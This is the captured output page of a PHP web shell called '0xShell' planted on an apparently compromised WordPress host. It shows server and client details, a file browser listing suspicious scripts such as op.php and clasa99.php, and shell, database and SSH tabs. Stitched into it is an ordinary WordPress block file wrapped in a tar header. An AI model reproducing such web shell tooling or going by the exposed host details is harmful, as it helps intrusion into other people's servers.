0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
home/jonasls/www/wp-includes/blocks/details.php 0000644 00000002732 15220606121 0015635 0 ustar 00 <?php
/**
* Server-side rendering of the `core/details` block.
*
* @package WordPress
*/
/**
* Sets fetchpriority="low" on all IMG tags within the collapsed Details block.
*
* Images in a collapsed Details block are hidden until the block is expanded, so they should
* not compete with any resources in the critical rendering path, such as the LCP element image.
*
* @since 7.0.0
*
* @param string $block_content The block content.
* @param array $block The full block, including name and attributes.
* @return string Modified HTML with fetchpriority="low" on all IMG tags when the showContent attribute is false.
*/
function block_core_details_set_img_fetchpriority_low( $block_content, array $block ): string {
if ( ! is_string( $block_content ) ) {
return '';
}
// If the Details block is open by default, short-circuit to let core add fetchpriority=high if appropriate.
if ( $block['attrs']['showContent'] ?? false ) {
return $block_content;
}
$tags = new WP_HTML_Tag_Processor( $block_content );
while ( $tags->next_tag( 'IMG' ) ) {
$tags->set_attribute( 'fetchpriority', 'low' );
}
return $tags->get_updated_html();
}
add_filter( 'render_block_core/details', 'block_core_details_set_img_fetchpriority_low', 10, 2 );
/**
* Registers the `core/details` block on server.
*
* @since 7.0.0
*/
function register_block_core_details() {
register_block_type_from_metadata( __DIR__ . '/details' );
}
add_action( 'init', 'register_block_core_details' );
Disabled functions: None